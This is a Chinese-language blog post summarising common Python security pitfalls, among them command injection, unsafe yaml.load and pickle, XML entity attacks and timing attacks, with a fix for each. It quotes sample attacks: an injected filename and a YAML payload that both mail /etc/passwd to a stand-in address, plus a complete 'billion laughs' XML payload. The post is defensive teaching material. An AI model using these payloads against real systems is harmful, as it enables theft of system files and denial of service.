详细总结Python常见的安全问题


Posted in Python onMay 21, 2021

一、输入注入

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。

修复:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

二、assert 语句(Assert statements)

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

现在,默认情况下,Python 以 __debug__ 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin

修复:

仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

三、计时攻击(Timing attacks)

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能在 HTTP Web 服务器上编写计时攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复:

使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

四、临时文件(Temporary files)

要在 Python 中创建临时文件,通常使用 mktemp() 函数生成一个文件名,然后使用该名称创建一个文件。 这是不安全的,因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法,则最新版本的 Python 会抛出运行警告。

修复

如果需要生成临时文件,请使用 tempfile 模块并使用 mkstemp。

五、使用 yaml.load

引用 PyYAML 文档:

警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的 Python 项目 Ansible 中这个例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

修复:

总是不优先使用 yaml.safe_load,除非你有一个非常好的理由。

六、解析 XML(Parsing XML)

如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 DoS 风格(旨在使系统崩溃而不是泄露数据),这些攻击十分常见,特别是在解析外部(即不可信任的)XML 文件时。

其中有个「billion laughs」,因为他的 payload 通常包含很多(十亿)「lols」。基本上,这个原理是可以在 XML 中使用参照实体,所以当解析器将这个 XML 文件加载到内存中时,它会消耗数 G 大小的内存(RAM)。

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻击使用外部实体扩展。XML 支持从外部 URL 引用实体,XML解析器通常会毫无疑问地获取并加载该资源。攻击者可以规避防火墙并访问受限制的资源,因为所有请求都是由内部可信的 IP 地址创建的,而不是来自外部。

需要考虑的另一种情况是依赖的第三方软件包需要解码 XML ,例如配置文件、远程 API。你甚至可能不知道某个依赖关系会将这些类型的攻击置之不理。

修复:

使用 defusedxml 替换标准库模块,它增加了针对这些类型攻击的安全防护。

七、受污染的 site-packages 或 import 路径

Python 的 import 系统非常灵活,当你想要为测试写补丁或重载核心功能时,这是非常棒的。

但这却是 Python 中最大的安全漏洞之一。

安装第三方软件包,无论是在虚拟环境中还是全局(通常不鼓励)都会让你看到这些软件包中的安全漏洞。有一些发布到 PyPi 的软件包与流行的软件包具有相似的名称,但是却执行了任意代码。

需要考虑的另一种情况是依赖的依赖,他们可能包含漏洞,他们也可以通过导入系统覆盖Python 中的默认行为。

修复

看看 http://PyUp.io 及其安全服务,为所有应用程序使用虚拟环境,并确保全局的 site-packages 尽可能干净,检查包签名。

八、序列化 Pickles

反序列化 pickle 数据和 YAML 一样糟糕。Python 类可以声明一个 __reduce__ 方法,该方法返回一个字符串,或一个可调用的元组以及使用 pickle 序列化时调用的参数。攻击者可以使用它来包含对其中一个子进程模块的引用,以在主机上运行任意命令。

修复

切勿使用 pickle 反序列化不受信任或未经身份验证来源的数据。改用另一种序列化模式(如JSON)。

九、使用系统 Python 运行时并且不修复它

大多数 POSIX 系统都自带有一个 Python 2 版本(通常是旧版本)。

有时候 Python(即 CPython 是用 C 语言编写的) 解释器本身存在漏洞, C 中的常见安全问题与内存分配有关,所以大多是缓冲区溢出错误,CPython 多年来一直存在一些溢出漏洞,每个漏洞都在后续版本中进行了修复。也就是说,如果及时升级 python 运行时,就很安全。

修复:

为生产应用程序安装最新版本的 Python,并及时安装修复更新!

十、不修复依赖关系

类似于不修补 python 运行时,还需要定期修补依赖关系。

修复

使用像 PyUp.io 这样的服务来检查更新,向应用程序提出 pr,并运行测试以保持软件包是最新的。

到此这篇关于详细总结Python常见的安全问题的文章就介绍到这了,更多相关Python安全问题内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python在图片中添加文字的两种方法
Apr 29 Python
浅谈Tensorflow模型的保存与恢复加载
Apr 26 Python
Anaconda2下实现Python2.7和Python3.5的共存方法
Jun 11 Python
python/sympy求解矩阵方程的方法
Nov 08 Python
Python设计模式之解释器模式原理与用法实例分析
Jan 10 Python
nginx+uwsgi+django环境搭建的方法步骤
Nov 25 Python
Pytorch之保存读取模型实例
Dec 30 Python
python为Django项目上的每个应用程序创建不同的自定义404页面(最佳答案)
Mar 09 Python
python调用win32接口进行截图的示例
Nov 11 Python
Python实现一个论文下载器的过程
Jan 18 Python
详解Python之Scrapy爬虫教程NBA球员数据存放到Mysql数据库
Jan 24 Python
有趣的二维码:使用MyQR和qrcode来制作二维码
May 10 Python
Pycharm 如何设置HTML文件自动补全代码或标签
Python源码解析之List
Python手拉手教你爬取贝壳房源数据的实战教程
matlab xlabel位置的设置方式
浏览器常用基本操作之python3+selenium4自动化测试(基础篇3)
python 实现图与图之间的间距调整subplots_adjust
Jupyter notebook 不自动弹出网页的解决方案
You might like
PHP 删除一个目录及目录下的所有文件的函数代码
2010/05/26 PHP
php等比例缩放图片及剪切图片代码分享
2016/02/13 PHP
线路分流自动智能跳转代码,自动选择最快镜像网站(js)
2011/10/31 Javascript
Bootstrap每天必学之按钮(Button)插件
2016/04/25 Javascript
基于Bootstrap的后台管理面板 Bootstrap Metro Dashboard
2016/06/17 Javascript
js中判断变量类型函数typeof的用法总结
2016/08/09 Javascript
深入理解vue中slot与slot-scope的具体使用
2018/01/26 Javascript
js实现ATM机存取款功能
2020/10/27 Javascript
使用JS判断页面是首次被加载还是刷新
2019/05/26 Javascript
浅析微信小程序modal弹窗关闭默认会执行cancel问题
2019/10/14 Javascript
使用 JavaScript 创建并下载文件(模拟点击)
2019/10/25 Javascript
让IDE识别webpack的别名alias的实现方法
2020/05/06 Javascript
2020京东618叠蛋糕js脚本(亲测好用)
2020/06/02 Javascript
python实现人脸识别代码
2017/11/08 Python
python 调用有道api接口的方法
2019/01/03 Python
Python发展史及网络爬虫
2019/06/19 Python
对Django外键关系的描述
2019/07/26 Python
django2.2安装错误最全的解决方案(小结)
2019/09/24 Python
15行Python代码实现免费发送手机短信推送消息功能
2020/02/27 Python
OpenCV Python实现图像指定区域裁剪
2021/03/12 Python
python线程优先级队列知识点总结
2021/02/28 Python
Django后端按照日期查询的方法教程
2021/02/28 Python
Yves Rocher伊夫·黎雪美国官网:法国始创植物美肌1959
2019/01/09 全球购物
保加利亚运动鞋购物网站:SneakerStudio.bg
2020/12/23 全球购物
中专生求职自荐信范文
2013/12/22 职场文书
打架检讨书100字
2014/01/08 职场文书
机关单位人员学雷锋心得体会
2014/03/10 职场文书
民族团结好少年事迹材料
2014/08/19 职场文书
关于感恩的演讲稿400字
2014/08/26 职场文书
2014年语文教师工作总结
2014/12/18 职场文书
介绍信怎么写
2015/05/05 职场文书
女方家长婚礼答谢词
2015/09/29 职场文书
CSS的class与id常用的命名规则
2021/05/18 HTML / CSS
OpenCV-Python实现人脸美白算法的实例
2021/06/11 Python
opencv深入浅出了解机器学习和深度学习
2022/03/17 Python
MySQL中的 inner join 和 left join的区别解析(小结果集驱动大结果集)
2023/05/08 MySQL